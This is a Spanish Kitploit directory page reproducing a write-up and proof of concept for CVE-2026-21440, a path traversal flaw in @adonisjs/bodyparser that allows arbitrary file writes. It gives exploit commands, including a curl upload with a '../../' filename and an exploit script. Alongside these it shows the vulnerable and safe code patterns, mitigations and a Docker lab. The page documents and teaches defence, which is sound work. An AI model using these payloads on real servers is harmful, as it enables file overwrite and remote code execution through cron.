Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-21440-writeup-poc — poc y writeup para cve-2026-21440: una vulnerabilidad crítica de path traversal en @adonisjs/bodyparser que permite la escritura arbitraria de archivos | Kitploit
Herramientas/GitHubGitHub/k0nnect/cve-2026-21440-writeup-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónAprendizaje y EducaciónRecursos CuradosLabs y Práctica
GitHubk0nnect/cve-2026-21440-writeup-poc

cve-2026-21440-writeup-poc

poc y writeup para cve-2026-21440: una vulnerabilidad crítica de path traversal en @adonisjs/bodyparser que permite la escritura arbitraria de archivos

Ver Repositorio
4hace 7 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

cve-2026-21440

path traversal a escritura arbitraria de archivos en @adonisjs/bodyparser

CVE-2026-21440 CWE-22 CVSS 9.2


descripción general

existe una vulnerabilidad crítica de path traversal en el paquete @adonisjs/bodyparser que permite a atacantes remotos escribir archivos arbitrarios fuera del directorio de subida previsto. cuando se llama a la función multipartfile.move() sin proporcionar explícitamente un nombre de archivo saneado, el parser utiliza por defecto el nombre de archivo proporcionado por el cliente sin una sanitización adecuada.

debido a que la implementación utiliza path.join() y options.overwrite tiene como valor predeterminado , un atacante puede manipular un nombre de archivo malicioso que contenga secuencias de path traversal (por ejemplo, ) para escribir archivos en cualquier parte del sistema de archivos, lo que potencialmente conduce a la ejecución remota de código.

true
../../etc/cron.d/malicious

análisis de la vulnerabilidad

atributovalor
id cvecve-2026-21440
clasificación cwecwe-22: limitación inadecuada de un nombre de ruta a un directorio restringido ('path traversal')
puntuación cvss v3.19.2 (crítica)
vector de ataquered
complejidad del ataquebaja
privilegios requeridosninguno
interacción del usuarioninguna

causa raíz

la vulnerabilidad existe en el método multipartfile.move(location, options?). cuando los desarrolladores llaman a este método sin proporcionar options.name, el código utiliza por defecto this.clientName — el nombre de archivo original enviado por el cliente — sin sanitización.

root@kitploit:~
// código vulnerable en @adonisjs/bodyparser
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
  const fileName = options?.name || this.clientName  // ← entrada del cliente sin sanear
  const filePath = path.join(location, fileName)     // ← path.join permite traversal
  // ...
  await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}

flujo del ataque

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                         atacante                                 │
└─────────────────────────────────────────────────────────────────┘
                              │
                              │ multipart/form-data
                              │ filename="../../etc/cron.d/pwned"
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                    aplicación adonisjs vulnerable               │
│                                                                  │
│   request.file('upload')                                        │
│        │                                                         │
│        ▼                                                         │
│   file.move(app.tmpPath())  ← sin nombre saneado proporcionado  │
│        │                                                         │
│        ▼                                                         │
│   path.join('/tmp/uploads', '../../etc/cron.d/pwned')           │
│        │                                                         │
│        ▼                                                         │
│   se resuelve a: /etc/cron.d/pwned                              │
│        │                                                         │
│        ▼                                                         │
│   archivo escrito fuera del directorio de subida                 │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
                    escritura arbitraria de archivos
                         → rce vía cron
                         → sobrescritura de configuración
                         → inyección de claves ssh

versiones afectadas

paqueteversiones vulnerablesversión parcheada
@adonisjs/bodyparser≤ 10.1.110.1.2
@adonisjs/bodyparser11.0.0-next.1 a 11.0.0-next.511.0.0-next.6

explotación

requisitos previos

  • la aplicación objetivo utiliza una versión vulnerable de @adonisjs/bodyparser
  • el endpoint de subida de archivos llama a file.move() sin la opción name explícita
  • el servidor web tiene permisos de escritura en el directorio objetivo

prueba de concepto

root@kitploit:~
# navegar al directorio del exploit
cd Exploit-PoC

# instalar dependencias
pip install -r requirements.txt

# ejecutar el exploit
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"

explotación manual

root@kitploit:~
curl -X POST http://target:3333/upload \
  -F "[email protected];filename=../../tmp/pwned.txt"

detección y mitigación

patrón de código vulnerable

root@kitploit:~
// ❌ vulnerable - utiliza el nombre de archivo proporcionado por el cliente
public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    await file.move(app.tmpPath())  // clientName se usa como nombre de archivo
  }
  return response.ok({ message: 'uploaded' })
}

patrón de código seguro

root@kitploit:~
// ✅ seguro - genera un nombre de archivo saneado
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'

public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    // generar un nombre único con la extensión original
    const ext = path.extname(file.clientName).toLowerCase()
    const safeName = `${cuid()}${ext}`
    
    await file.move(app.tmpPath(), {
      name: safeName,
      overwrite: false  // evitar sobrescrituras
    })
  }
  return response.ok({ message: 'uploaded' })
}

mitigaciones adicionales

  1. actualizar inmediatamente — actualizar @adonisjs/bodyparser a la versión parcheada
  2. validación de entrada — validar las extensiones de archivo contra una lista blanca
  3. sanitización de nombres de archivo — eliminar separadores de ruta y usar nombres generados
  4. aislamiento del sistema de archivos — usar contenedores para limitar el radio de explosión
  5. principio de privilegio mínimo — ejecutar el servidor web con permisos mínimos

entorno de laboratorio

inicio rápido

root@kitploit:~
# clonar el repositorio
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440

# iniciar el entorno vulnerable
docker-compose up --build

# en otra terminal, ejecutar el exploit
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"

# verificar que el archivo se escribió fuera del directorio de subidas
docker-compose exec app cat /app/test.txt

cronología

fechaevento
2026-01-02parche publicado en 10.1.2 y 11.0.0-next.6
2026-01-02ghsa-gvq6-hvvp-h34h publicado
2026-01-02cve-2026-21440 asignado
2026-01-02publicado por nvd

referencias

  • nvd - cve-2026-21440
  • cwe-22: path traversal
  • documentación de adonisjs bodyparser
  • owasp path traversal

descargo de responsabilidad

este repositorio se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. el código de prueba de concepto está destinado a ayudar a los profesionales de la seguridad a comprender y probar esta vulnerabilidad en entornos que están autorizados a evaluar.

el acceso no autorizado a sistemas informáticos es ilegal. los autores no asumen ninguna responsabilidad por el mal uso de esta información. obtenga siempre la autorización adecuada antes de probar vulnerabilidades.


investigado con ☕ por k0nnect

Descargar herramienta